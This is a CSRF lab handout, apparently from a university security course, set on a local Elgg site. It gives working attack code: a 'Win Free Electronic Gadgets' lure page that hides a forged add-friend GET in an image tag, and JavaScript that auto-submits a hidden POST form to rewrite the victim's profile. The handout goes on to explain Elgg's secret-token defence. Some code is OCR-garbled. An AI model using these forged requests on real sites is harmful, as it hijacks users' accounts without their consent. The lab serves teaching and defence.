Cross-Site Request Forgery (CSRF) Attack Lab

Table of Contents

Lab Tasks

For the lab tasks, you will use two web sites that are locally setup in the virtual machine. The first web site is the vulnerable Elgg site accessible at www.csrflabelgg.com inside the virtual machine. The second web site is the attacker's malicious web site that is used for attacking Elgg. This web site is accessible via www.csrflabattacker.com inside the virtual machine.

Task 1: Observing HTTP Request

In Cross-Site Request Forget attacks, we need to forge HTTP requests. Therefore, we need to know what a legitimate HTTP request looks like and what parameters it uses, etc. We can use a Firefox add-on called "HTTP Header Live" for this purpose. Or, you can simply inspect the elements using Ctrl + Shift + I. The goal of this task is to get familiar with this tool. Instructions on how to use this tool are given in the Guideline section (§ 4.1). Please use this tool to capture an HTTP GET request and an HTTP POST request in Elgg. In your report, please identify the parameters used in these requests, if any.

Provide your screen shot with your observation.

Task 2: CSRF Attack using GET Request:

In this task, we need two people in the Elgg social network: Alice and Boby. Boby wants to become a friend to Alice, but Alice refuses to add him to her Elgg friend list. Boby decides to use the CSRF attack to achieve his goal. He sends Alice an URL (via an email or a posting in Elgg); Alice, curious about it, clicks on the URL, which leads her to Boby's website: www.csrflabattacker.com. Pretend that you are Boby, describe how you can construct the content of the web page, so as soon as Alice visits the web page, Boby is added to the friend list of Alice (assuming Alice has an active session with Elgg).

To add a friend to the victim, we need to identify what the legitimate Add-Friend HTTP request (a GET request) looks like. We can use the "HTTP Header Live" Tool to do the investigation.

1. To add Boby to Alice's friend list, we should observe the HTTP request on the Add Friend button click. We use HTTP header live to view the HTTP traffic sent from the browser to the Elgg server. (One screen shot from the website and captures HTTP traffic sent from the browser. cookie should be seen.)

   Provide your screen shot with your observation.

2. Now that we understand the HTTP request sent for adding friends would be like http://www.csrflabelgg.com/action/friends/add?friend=<guid>&..... In the friend request which Boby sent to Alice to his friends list the parameters friend=**** refers to Alice. Hence, the Guid of Alice is ****. Now to launch a CSRF attack to add Boby to Alice friend list , we need to know Boby's Guid. We can get to know Boby's Guid by observing the web page source. In the Elgg web page source there is <script> tag which contains current session user information stored in var elgg. In any of the Elgg web page for Boby's activity we can observe that this javascript variable has Guid to be ****. **You should find the guide value.**

```
<script> var elgg =
{"config":{"lastcache":1501099611,
"viewtype":"default",
"simplecache_enabled":1},
"security":{"token":{"__elgg_ts":1522341490,"__elgg_token":
" mmfHkv0tDw61hRf4PN_9sQ"}},
"session":{"user":{"guid":****,"type":"user",subtype":"",""
o wner_guid":****,"container_guid":0,"site_guid"
:1,"time_created":"2017-07-
26T20:32:29+00:00","time_updated":"2107-07-26T20:32:29+00:00
","url":"http:\/\/www.csfrlabelgg.com\/profile\/boby",
"name":"Boby",
"username":"boby",
"language":"en",
"Admin":false},
"token":"9iWvUMtsbC1Z5BZJMEV
hK"},"_data":{},"page_owner":{"guid":****,"type":"user","sub
type":"","owner_guid":****,"container_guid":0,"site_guid":1,
"time_created":"20170726T20:32:29+00:00","time_updated":"201
7-07-
26T20:32:29+00:00","url":"http:\/\/www.csrflabelgg.com\/prof
ile\/boby","name":"Boby","userna
me":"boby","language":"en"}};
</script>
```

Provide your screen shot with your observation.

3. We can observe the friends list of Alice.

Provide your screen shot with your observation.

4. Now we frame the HTTP request to add Boby as a friend.
   http://www.csrflabelgg.com/action/friends/add?friend=<guid>&... We now frame the friend request to add boby.(change in the code)

5. Now we prepare the attractive malicious web page in /var/www/CSRF/attacker/index.html which contains the above add friend request and hosts it on the URL www.csrflabattacker.com.

```
<html>
            <head>
          <title>Win Free Electronic Gadgets</title>
            </head>
            <body>
          <h1> Win Free Electronic Gadgets</h1>
     <img src=
http://www.csrflabelgg.com/action/friends/add?friend=
<guid> height="1" width="1">

       </img>
          </body>
</html>
```

Provide your screen shot with your observation. 2 screen shots should be submitted.

6. Alice opens and reads the message. She finds the content to be attractive and visits the URL.

Provide your screen shot with your observation.

Task 3: CSRF Attack using POST Request

After adding himself to Alice's friend list, Boby wants to do something more. He wants Alice to say "Boby is my Hero" in her profile, so everybody knows about that. Alice does not like Boby, let alone putting that statement in her profile. Boby plans to use a CSRF attack to achieve that goal. That is the purpose of this task. One way to do the attack is to post a message to Alice's Elgg account, hoping that Alice will click the URL inside the message. This URL will lead Alice to your (i.e., Boby's) malicious web site www. csrflabattacker.com, where you can launch the CSRF attack. The objective of your attack is to modify the victim's profile. In particular, the attacker needs to forge a request to modify the profile information of the victim user of Elgg. Allowing users to mod- ify their profiles is a feature of Elgg. If users want to modify their profiles, they go to the profile page of Elgg, fill out a form, and then submit the form—sending a POST request—to the server-side script /profile/edit.php, which processes the request and does the profile modification.

The server-side script edit.php accepts both GET and POST requests, so you can use the same trick as that in Task 1 to achieve the attack. However, in this task, you are required to use the POST request. Namely, attackers (you) need to forge an HTTP POST request from the victim's browser, when the victim is visiting their malicious site. Attackers need to know the structure of such a request.

You can observe the structure of the request, i.e., the parameters of the request, by making some modifications to the profile and monitoring the request using the "HTTP Header Live" tool. You may see something similar to the following. Unlike HTTP GET requests, which append parameters to the URL strings, the parameters of HTTP POST requests are included in the HTTP message body (see the contents between the two 6 symbols):

```
http://www.csrflabelgg.com/action/profile/edit

POST /action/profile/edit HTTP/1.1
Host: www.csrflabelgg.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686;
rv:23.0)  ...
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/
*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
http://www.csrflabelgg.com/profile/elgguser1/edit
Cookie: Elgg=p0dci8baqrl4i2ipv2mio3po05
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded Content
Length: 642  elgg_token=fc98784a9fbd02b68682bbb0e75b428b&
elgg_ts=1403464813 6
&name=elgguser1&description=%3Cp%3Iamelgguser1%3C%2Fp%3E
&accesslevel%5Bdescription%5D=2&briefdescription=
Iamelgguser1
&accesslevel%5Bbriefdescription%5D=2&location=US
...... 6
```

After understanding the structure of the request, you need to be able to generate the request from your attacking web page using JavaScript code. To help you write such a JavaScript program, we provide a sample code in the following. You can use this sample code to construct your malicious web site for the CSRF attacks. This is only a sample code, and you need to modify it to make it work for your attack.

```
<html>
<body>
<h1>This page forges an HTTP POST request.</h1>
<script type="text/javascript">

function forge_post()
{var fields;

 //The following are form entries that need to be filled out
 by  attackers. // The entries are hidden, so the victim
 won't be able to see them.
 fields += "<input type='hidden' name='name' value='****'>";
 fields += "<input type='hidden' name='description'
 value=****'>";
 fields += "<input type='hidden'
 name='accesslevel[descrption]' value='2'>";
 fields += "<input type='hidden' name='briefdescription'
 value='****'>"; fields += "<input type='hidden'
 name='accesslevel[briefdescription]' value='2'>";   fields
 += "<input type='hidden' name='location'  value='****'>";
 fields += "<input type='hidden'
 name='accesslevel[location]'
 value='2'>"; ° fields += "<input type='hidden' name='guid'
 value='****'>";

 // Create a <form> element.
 var p = document.createElement("form");

 // Construct the form
 p.action="http://www.csrflabelgg.com
 /action/profile/edit";
 p.innerHTML = fields;
 p.method = "post";

 // Append the form to the current page.
 document.body.appendChild(p);

 // Submit the form
 p.submit(); }
 window.onload=function() { forger_post; }
 </script>
</body>
</html>
```

Provide your screen shot with your observation.

In Line º, the value 2 sets the access level of a field to the public. This is needed, otherwise, the access level will be set by default to private, so others cannot see this field. It should be noted that when copy-and- pasting the above code from a PDF file, the single quote character in the program may become something else (but still looks like a single quote). That will cause syntax errors. Replacing all the single quote symbols with the one typed from your keyboard will fix those errors.

Questions.
In addition to describing your attack in full details, you also need to answer the following questions in your report:

Question 1: The forged HTTP request needs Alice's user id (guid) to work properly. If Boby targets Alice specifically, before the attack, he can find ways to get Alice's user id. Boby does not know Alice's Elgg password, so he cannot log into Alice's account to get the information. Please describe how Boby can solve this problem.

Question 2:
If Boby would like to launch the attack to anybody who visits his malicious web page. In this case, he does not know who is visiting the web page beforehand. Can he still launch the CSRF attack to modify the victim's Elgg profile? Please explain.

Task 4: Implementing a countermeasure for Elgg

Elgg does have built-in countermeasures to defend against the CSRF attack. We have commented out the countermeasures to make the attack work. CSRF is not difficult to defend against, and there are several common approaches:

Secret-token approach: Web applications can embed a secret token in their pages, and all requests coming from these pages will carry this token. Because cross-site requests cannot obtain this token, their forged requests will be easily identified by the server.

Referrer header approach: Web applications can also verify the origin page of the request using the *referrer* header. However, due to privacy concerns, this header information may have already been filtered out at the client side.

The web application Elgg uses a secret-token approach. It embeds two parameters, elgg ts and elgg token in the request as a countermeasure to CSRF attack. The two parameters are added to the HTTP message body for the POST requests and to the URL string for the HTTP GET requests.

Elgg secret-token and timestamp in the body of the request.

Elgg adds security token and timestamp to all the user actions to be performed. The following HTML code is present in all the forms where user action is required. This code adds two new hidden parameters elgg ts and_elgg token to the POST request:

```
<input type = "hidden" name = " elgg_ts" value = "" />
<input type = "hidden" name = " elgg_token" value = "" />
```

The_elgg ts and_elgg token are generated by the views/default/input/securitytoken. php module and added to the web page. The code snippet below shows how it is dynamically added to the web page.

```
$ts = time();
$token = generate_action_token($ts);

echo elgg_view('input/hidden', array('name' => ' elgg_token',
'value' =>
   $token)); echo elgg_view('input/hidden', array('name' => '
elgg_ts', 'value' => $ts));
```

Elgg also adds the security tokens and timestamp to the JavaScript which can be accessed by

```
elgg.security.token. elgg_ts; elgg.security.token. elgg_token;
```

Elgg security token is a hash value (md5 message digest) of the site secret value (retrieved from database), timestamp, user sessionID and random generated session string. There by defending against the CSRF attack. The code below shows the secret token generation in Elgg.

```
function generate_action_token($timestamp) {
$site_secret = get_site_secret();
$session_id = session_id();
// Session token
$st = $_SESSION[' elgg_session'];


if (($site_secret) && ($session_id))
{ return md5($site_secret . $timestamp . $session_id .
$st);  }

return FALSE;
}
```

The PHP function session id() is used to get or set the session id for the current session. The below code snippet shows a random generated string for a given session elgg session apart from public user Session ID.

```
.....
// Generate a simple token (private from potentially
public session id) if (!isset($_SESSION['
elgg_session'])) {
$_SESSION['_elgg_session'] =
ElggCrypto::getRandomString(32,ElggCrypto::CHARS_HEX);
........
```

Elgg secret-token validation.

The elgg web application validates the generated token and timestamp to defend against the CSRF attack. Every user action calls a validate action token function and this function validates the tokens. If tokens are not present or invalid, the action will be denied and the user will be redirected.

The below code snippet shows the function validate action token.

```
function validate_action_token($visibleerrors = TRUE, $token =
  NULL, $ts = NULL)
{ if (!$token) { $token = get_input(' elgg_token'); } if
  (!$ts) {$ts = get_input(' elgg_ts'); }
  $session_id = session_id();
  if (($token) && ($ts) && ($session_id)) {
  // generate token, check with input and forward if invalid
  $required_token = generate_action_token($ts);

  // Validate token
  if ($token == $required_token) {

  if (_elgg_validate_token_timestamp($ts)) {
  // We have already got this far, so unless anything //
  else says something to the contrary we assume we're ok
  $returnval = true; ..... } else {
  .....
  register_error(elgg_echo('actiongatekeeper:tokeninvalid'));
  .....
  }
      ..... }
```

Turn on countermeasures. To turn on the countermeasure, please go to the directory /var/www/CSRF/ Elgg/vendor/elgg/elgg/engine/classes/Elgg and find the function gatekeeper in the ActionsService.php file. In function gatekeeper() please comment out the "return true;" statement as specified in the code comments.

```
public function gatekeeper($action) {
//SEED:Modified to enable CSRF.
//Comment the below return true statement to enable
countermeasure return true;
    ..... }
```

Provide your screen shot with your observation.

Task: After turning on the countermeasure above, try the CSRF attack again, and describe your observa- tion. Please point out the secret tokens in the HTTP request captured using Firefox's HTTP inspection tool. Please explain why the attacker cannot send these secret tokens in the CSRF attack; what prevents them from finding out the secret tokens from the web page?

Submission

You need to submit a detailed lab report to describe what you have done and what you have observed. Please provide details using Firefox's add-on tools, and/or screenshots. You also need to provide explanations to the observations that are interesting or surprising.